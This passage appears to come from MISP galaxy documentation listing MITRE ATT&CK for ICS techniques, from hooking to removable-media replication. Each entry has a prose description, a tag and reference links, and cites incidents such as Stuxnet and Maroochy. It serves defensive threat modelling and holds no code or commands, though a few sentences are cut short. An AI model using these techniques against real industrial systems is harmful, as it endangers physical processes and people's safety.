https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Hooking

Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for persistent means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. One type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking. IAT hooking uses modifications to a process's IAT, where pointers to imported API functions are stored.

The tag is: *misp-galaxy:mitre-ics-techniques="Hooking"*

Table 4939. Table References

Links
https://attack.mitre.org/techniques/T1179/
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

I/O Image

Adversaries may seek to capture process image values related to the inputs and outputs of a PLC. Within a PLC all input and output states are stored into an I/O image. This image is used by the user program instead of directly interacting with physical I/O.

The tag is: *misp-galaxy:mitre-ics-techniques="I/O Image"*

Table 4940. Table References

Links
https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

I/O Module Discovery

Adversaries may use input/output (I/O) module discovery to gather key information about a control system device. An I/O module is a device that allows the control system device to either receive or send signals to other devices. These signals can be analog or digital, and may support a number of different protocols. Devices are often able to use attachable I/O modules to increase the number of inputs and outputs that it can utilize. An adversary with access to a device can use native device functions to enumerate I/O modules that are connected to the device. Information regarding the I/O modules can aid the adversary in understanding related control processes.

The tag is: *misp-galaxy:mitre-ics-techniques="I/O Module Discovery"*

Table 4941. Table References

Links
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Indicator Removal on Host

Adversaries may attempt to remove indicators of their presence on a system in an effort to cover their tracks. In cases where an adversary may feel detection is imminent, they may try to overwrite, delete, or cover up changes they have made to the device.

The tag is: *misp-galaxy:mitre-ics-techniques="Indicator Removal on Host"*

Table 4942. Table References

Links
https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/
https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware

Internet Accessible Device

Adversaries may gain access into industrial environments directly through systems exposed to the internet for remote access rather than through External Remote Services. Minimal protections provided by these devices such as password authentication may be targeted and compromised. In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing.

The tag is: *misp-galaxy:mitre-ics-techniques="Internet Accessible Device"*

Table 4943. Table References

Links
https://www.us-cert.gov/sites/default/files/Monitors/ICS-CERT_Monitor_Jan-April2014.pdf
https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559
https://time.com/4270728/iran-cyber-attack-dam-fbi/
https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B
https://www.us-cert.gov/ics/advisories/ICSA-11-094-02B

Location Identification

Adversaries may perform location identification using device data to inform operations and targeted impact for attacks. Location identification data can come in a number of forms, including geographic location, location relative to other control system devices, time zone, and current time. An adversary may use an embedded global positioning system (GPS) module in a device to figure out the physical coordinates of a device. NIST SP800-82 recommends that devices utilize GPS or another location determining mechanism to attach appropriate timestamps to log entries1. While this assists in logging and event tracking, an adversary could use the underlying positioning mechanism to determine the general location of a device. An adversary can also infer the physical location of serially connected devices by using serial connection enumeration. An adversary attempt to attack and cause Impact could potentially affect other control system devices in close proximity. Device local-time and time-zone settings can also provide adversaries a rough indicator of device location, when specific geographic identifiers cannot be determined from the system.

The tag is: *misp-galaxy:mitre-ics-techniques="Location Identification"*

Table 4944. Table References

Links
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf
https://ics-cert.us-cert.gov/advisories/ICSA-14-178-01
https://www.f-secure.com/weblog/archives/00002718.html

Loss of Availability

Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases.

The tag is: *misp-galaxy:mitre-ics-techniques="Loss of Availability"*

Table 4945. Table References

Links
https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf
https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297
https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false
https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml

Loss of Control

Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided.

The tag is: *misp-galaxy:mitre-ics-techniques="Loss of Control"*

Table 4946. Table References

Links
https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf
https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297
https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880
https://www.hydro.com/en/media/on-the-agenda/cyber-attack/

Loss of Productivity and Revenue

Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. In some cases, this may result from the postponement and disruption of ICS operations and production as part of a remediation effort. Operations may be brought to a halt and effectively stopped in an effort to contain and properly remove malware or due to the Loss of Safety.

The tag is: *misp-galaxy:mitre-ics-techniques="Loss of Productivity and Revenue"*

Table 4947. Table References

Links
https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/
https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml
https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880
https://www.hydro.com/en/media/on-the-agenda/cyber-attack/
https://www.bloomberg.com/news/features/2019-12-03/merck-cyberattack-s-1-3-billion-question-was-it-an-act-of-war
https://www.darkreading.com/attacks-breaches/how-a-manufacturing-firm-recovered-from-a-devastating-ransomware-attack/d/d-id/1334760

Loss of Safety

Adversaries may cause loss of safety whether on purpose or as a consequence of actions taken to accomplish an operation. The loss of safety can describe a physical impact and threat, or the potential for unsafe conditions and activity in terms of control systems environments, devices, or processes. For instance, an adversary may issue commands or influence and possibly inhibit safety mechanisms that allow the injury of and possible loss of life. This can also encompass scenarios resulting in the failure of a safety mechanism or control, that may lead to unsafe and dangerous execution and outcomes of physical processes and related systems. The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report. These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland.567 Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops. The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact.

The tag is: *misp-galaxy:mitre-ics-techniques="Loss of Safety"*

Table 4948. Table References

Links
https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf
https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297
https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false
https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?*blob=publicationFile&v=3[https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf* ?blob=publicationFile&v=3]
https://www.londonreconnections.com/2017/hacked-cyber-security-railways/
https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/
https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html
https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html

Loss of View

Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves.

The tag is: *misp-galaxy:mitre-ics-techniques="Loss of View"*

Table 4949. Table References

Links
https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf
https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297
https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf
https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880
https://www.hydro.com/en/media/on-the-agenda/cyber-attack/

Man in the Middle

Adversaries with privileged network access may seek to modify network traffic in real time using man-in-the-middle (MITM) attacks. This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a MITM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy. A MITM attack may allow an adversary to perform the following attacks: Block Reporting Message, Modify Parameter, Unauthorized Command Message, Spoof Reporting Message

The tag is: *misp-galaxy:mitre-ics-techniques="Man in the Middle"*

Table 4950. Table References

Links
https://www.sans.org/reading-room/whitepapers/ICS/man-in-the-middle-attack-modbus-tcp-illustrated-wireshark-38095
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258

https://dragos.com/resource/hexane/
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Manipulate I/O Image

Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. During the PLC scan cycle, the state of the actual physical inputs is copied to a portion of the PLC memory, commonly called the input image table. When the program is scanned, it examines the input image table to read the state of a physical input. When the logic determines the state of a physical output, it writes to a portion of the PLC memory commonly called the output image table. The output image may also be examined during the program scan. To update the physical outputs, the output image table contents are copied to the physical outputs after the program is scanned. One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status.

The tag is: *misp-galaxy:mitre-ics-techniques="Manipulate I/O Image"*

Table 4951. Table References

Links
https://www.isa.org/standards-and-publications/isa-publications/intech/2010/december/programmable-logic-controller-hardware/
https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

Manipulation of Control

Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: Man-in-the-middle, Spoof command message, Changing setpoints

The tag is: *misp-galaxy:mitre-ics-techniques="Manipulation of Control"*

Table 4952. Table References

Links

Stuxnet can reprogram a PLC and change critical parameters in such a way that legitimate commands can be overridden or intercepted. In addition, Stuxnet can apply inappropriate command sequences or parameters to cause damage to property.[Stuxnet can reprogram a PLC and change critical parameters in such a way that legitimate commands can be overridden or intercepted. In addition, Stuxnet can apply inappropriate command sequences or parameters to cause damage to property.]

Masquerading

Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions. Applications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment.

The tag is: *misp-galaxy:mitre-ics-techniques="Masquerading"*

Table 4953. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html

Modify Alarm Settings

Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes. If an adversary is able to change the reporting settings, certain events could be prevented from being reported. This type of modification can also prevent operators or devices from performing actions to keep the system in a safe state. If critical reporting messages cannot trigger these actions then a Impact could occur. In ICS environments, the adversary may have to use Alarm Suppression or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. Methods of suppression often rely on modification of alarm settings, such as modifying in memory code to fixed values or tampering with assembly level instruction code. In the Maroochy Attack, the adversary disabled alarms at four pumping stations. This caused alarms to not be reported to the central computer.

The tag is: *misp-galaxy:mitre-ics-techniques="Modify Alarm Settings"*

Table 4954. Table References

Links
https://troopers.de/downloads/troopers19/TROOPERS19_NGI_IoT_diet_poisoned_fruit.pdf
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Modify Control Logic

Adversaries may place malicious code in a system, which can cause the system to malfunction by modifying its control logic. Control system devices use programming languages (e.g. relay ladder logic) to control physical processes by affecting actuators, which cause machines to operate, based on environment sensor readings. These devices often include the ability to perform remote control logic updates. Program code is normally edited in a vendor-specific Integrated Development Environment (IDE) that relies on proprietary tools and features. These IDEs allow an engineer to perform host target development and may have the ability to run the code on the machine it is programmed for. The IDE will transmit the control logic to the testing device, and will perform the required device-specific functions to apply the changes and make them active. An adversary may attempt to use this host target IDE to modify device control logic. Even though proprietary tools are often used to edit and update control logic, the process can usually be reverse-engineered and reproduced with open-source tools. An adversary can de-calibrate a sensor by removing functions in control logic that account for sensor error. This can be used to change a control process without actually spoofing command messages to a controller or device. It is believed this process happened in the lesser known over-pressurizer attacks build into Stuxnet. Pressure sensors are not perfect at translating pressure into an analog output signal, but their errors can be corrected by calibration. The pressure controller can be told what the “real” pressure is for given analog signals and then automatically linearize the measurement to what would be the “real” pressure. If the linearization is overwritten by malicious code on the S7-417 controller, analog pressure readings will be “corrected” during the attack by the pressure controller, which then interprets all analog pressure readings as perfectly normal pressure no matter how high or low their analog values are. The pressure controller then acts accordingly by never opening the stage exhaust valves. In the meantime, actual pressure keeps rising. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community.

The tag is: *misp-galaxy:mitre-ics-techniques="Modify Control Logic"*

Table 4955. Table References

Links

https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Modify Parameter

Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community.

The tag is: *misp-galaxy:mitre-ics-techniques="Modify Parameter"*

Table 4956. Table References

Links
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Module Firmware

Adversaries may install malicious or vulnerable firmware onto modular hardware devices. Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment. This technique is similar to System Firmware, but is conducted on other system components that may not have the same capabilities or level of integrity checking. Although it results in a device re-image, malicious device firmware may provide persistent access to remaining devices. An easy point of access for an adversary is the Ethernet card, which may have its own CPU, RAM, and operating system. The adversary may attack and likely exploit the computer on an Ethernet card. Exploitation of the Ethernet card computer may enable the adversary to accomplish additional attacks, such as the following: Delayed Attack - The adversary may stage an attack in advance and choose when to launch it, such as at a particularly damaging time. Brick the Ethernet Card - Malicious firmware may be programmed to result in an Ethernet card failure, requiring a factory return. Random Attack or Failure - The adversary may load malicious firmware onto multiple field devices. Execution of an attack and the time it occurs is generated by a pseudo-random number generator. A Field Device Worm - The adversary may choose to identify all field devices of the same model, with the end goal of performing a device-wide compromise. Attack Other Cards on the Field Device - Although it is not the most important module in a field device, the Ethernet card is most accessible to the adversary and malware. Compromise of the Ethernet card may provide a more direct route to compromising other modules, such as the CPU module.

The tag is: *misp-galaxy:mitre-ics-techniques="Module Firmware"*

Table 4957. Table References

Links
https://www.researchgate.net/publication/228849043_Leveraging_ethernet_card_vulnerabilities_in_field_devices
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Monitor Process State

Adversaries may gather information about the physical process state. This information may be used to gain more information about the process itself or used as a trigger for malicious actions. The sources of process state information may vary such as, OPC tags, historian data, specific PLC block information, or network traffic.

The tag is: *misp-galaxy:mitre-ics-techniques="Monitor Process State"*

Table 4958. Table References

Links
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Network Connection Enumeration

Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as netstat, in conjunction with System Firmware, then they can determine the role of certain devices on the network. The adversary can also use Network Sniffing to watch network traffic for details about the source, destination, protocol, and content.

The tag is: *misp-galaxy:mitre-ics-techniques="Network Connection Enumeration"*

Table 4959. Table References

Links

https://attack.mitre.org/wiki/Technique/T1049
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Network Service Scanning

Network Service Scanning is the process of discovering services on networked systems. This can be achieved through a technique called port scanning or probing. Port scanning interacts with the TCP/IP ports on a target system to determine whether ports are open, closed, or filtered by a firewall. This does not reveal the service that is running behind the port, but since many common services are run on specific port numbers, the type of service can be assumed. More in-depth testing includes interaction with the actual service to determine the service type and specific version. One of the most-popular tools to use for Network Service Scanning is Nmap. An adversary may attempt to gain information about a target device and its role on the network via Network Service Scanning techniques, such as port scanning. Network Service Scanning is useful for determining potential vulnerabilities in services on target devices. Network Service Scanning is closely tied to. Scanning ports can be noisy on a network. In some attacks, adversaries probe for specific ports using custom tools. This was specifically seen in the Triton and PLC-Blaster attacks.

The tag is: *misp-galaxy:mitre-ics-techniques="Network Service Scanning"*

Table 4960. Table References

Links
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Network Sniffing

Network sniffing is the practice of using a network interface on a computer system to monitor or capture information1 regardless of whether it is the specified destination for the information. An adversary may attempt to sniff the traffic to gain information about the target. This information can vary in the level of importance. Relatively unimportant information is general communications to and from machines. Relatively important information would be login information. User credentials may be sent over an unencrypted protocol, such as Telnet, that can be captured and obtained through network packet analysis. Network sniffing can be a way to discover information for Control Device Identification. In addition, ARP and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

The tag is: *misp-galaxy:mitre-ics-techniques="Network Sniffing"*

Table 4961. Table References

Links
https://attack.mitre.org/wiki/Technique/T1040
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

https://blog.talosintelligence.com/2018/06/vpnfilter-update.html
https://www.youtube.com/watch?v=yuZazP22rpI
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Point & Tag Identification

Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables.1 Tags are the identifiers given to points for operator convenience. Collecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation.

The tag is: *misp-galaxy:mitre-ics-techniques="Point & Tag Identification"*

Table 4962. Table References

Links
Backdoor.Oldrea enumerates all OPC tags and queries for specific fields such as server state, tag name, type, access, and id[Backdoor.Oldrea enumerates all OPC tags and queries for specific fields such as server state, tag name, type, access, and id]
https://www.fireeye.com/blog/threat-research/2014/07/havex-its-down-with-opc.html

Program Download

Adversaries may perform a program download to load malicious or unintended program logic on a device as a method of persistence or to disrupt response functions or process control. Program download onto devices, such as PLCs, allows adversaries to implement custom logic. Malicious PLC programs may be used to disrupt physical processes or enable adversary persistence. The act of a program download will cause the PLC to enter a STOP operation state, which may prevent response functions from operating correctly.

The tag is: *misp-galaxy:mitre-ics-techniques="Program Download"*

Table 4963. Table References

Links

https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware

Program Organization Units

Program Organizational Units (POUs) are block structures used within PLC programming to create programs and projects. POUs can be used to hold user programs written in IEC 61131-3 languages: Structured text, Instruction list, Function block, and Ladder logic. They can also provide additional functionality, such as establishing connections between the PLC and other devices using TCON. Stuxnet uses a simple code-prepending infection technique to infect Organization Blocks (OB). For example, the following sequence of actions is performed when OB1 is infected: Increase the size of the original block. Write malicious code to the beginning of the block. Insert the original OB1 code after the malicious code.

The tag is: *misp-galaxy:mitre-ics-techniques="Program Organization Units"*

Table 4964. Table References

Links
Stuxnet infects PLCs with different code depending on the characteristics of the target system. An infection sequence consists of code blocks and data blocks that will be downloaded to the PLC to alter its behavior.[Stuxnet infects PLCs with different code depending on the characteristics of the target system. An infection sequence consists of code blocks and data blocks that will be downloaded to the PLC to alter its behavior.]
https://cdn.selinc.com/assets/Literature/Publications/Technical%20Papers/6560_PracticalApplications_MW_20120224_Web.pdf?v=20151125-003051
https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

Program Upload

Adversaries may attempt to upload a program from a PLC to gather information about an industrial process. Uploading a program may allow them to acquire and study the underlying logic. Methods of program upload include vendor software, which enables the user to upload and read a program running on a PLC. This software can be used to upload the target program to a workstation, jump box, or an interfacing device.

The tag is: *misp-galaxy:mitre-ics-techniques="Program Upload"*

Table 4965. Table References

Links
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

Project File Infection

Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function. Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating environment enabling further execution and persistence techniques. Adversaries may export their own code into project files with conditions to execute at specific intervals.3 Malicious programs allow adversaries control of all aspects of the process enabled by the PLC. Once the project file is downloaded to a PLC the workstation device may be disconnected with the infected project file still executing.

The tag is: *misp-galaxy:mitre-ics-techniques="Project File Infection"*

Table 4966. Table References

Links
https://infosys.beckhoff.com/english.php?content=../content/1033/tc3_sourcecontrol/18014398915785483.html&id=
http://www.plcdev.com/book/export/html/373
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

Remote File Copy

Adversaries may copy files from one system to another to stage adversary tools or other files over the course of an operation. Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks.

The tag is: *misp-galaxy:mitre-ics-techniques="Remote File Copy"*

Table 4967. Table References

Links
WannaCry can move laterally through industrial networks by means of the SMB service.[WannaCry can move laterally through industrial networks by means of the SMB service.]
https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/

Remote System Discovery

Remote System Discovery is the process of identifying the presence of hosts on a network1, and details about them. This process is common to network administrators validating the presence of machines and services, as well as adversaries mapping out a network for future-attack targets. An adversary may attempt to gain information about the target network via network enumeration techniques such as port scanning. One of the most popular tools for enumeration is Nmap. Remote

System Discovery allows adversaries to map out hosts on the network as well as the TCP/IP ports that are open, closed, or filtered. Remote System Discovery tools also aid in by attempting to connect to the service and determine its exact version. The adversary may use this information to pick an exploit for a particular version if a known vulnerability exists.

The tag is: *misp-galaxy:mitre-ics-techniques="Remote System Discovery"*

Table 4968. Table References

Links
https://attack.mitre.org/wiki/Technique/T1018
https://pdfs.semanticscholar.org/18df/43ef1690b0fae15a36f770001160aefbc6c5.pdf
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Replication Through Removable Media

Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible. Operators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. The plant has since checked for infection and cleaned up more than 1,000 computers.9 An ESET researcher commented that internet disconnection does not guarantee system safety from infection or payload execution.

The tag is: *misp-galaxy:mitre-ics-techniques="Replication Through Removable Media"*

Table 4969. Table References

Links
https://www.kkw-gundremmingen.de/presse.php?id=571

Stuxnet was able to self-replicate by being spread through removable drives. A willing insider or unknown third party, such as a contractor, may have brought the removable media into the target environment.12 The earliest version of Stuxnet relied on physical installation, infecting target systems when an infected configuration file carried by a USB stick was opened.[Stuxnet was able to self-replicate by being spread through removable drives. A willing insider or unknown third party, such as a contractor, may have brought the removable media into the target environment.12 The earliest version of Stuxnet relied on physical installation, infecting target systems when an infected configuration file carried by a USB stick was opened.]
https://www.reuters.com/article/us-nuclearpower-cyber-germany/german-nuclear-plant-infected-with-computer-viruses-operator-says-idUSKCN0XN2OS
https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml
https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant
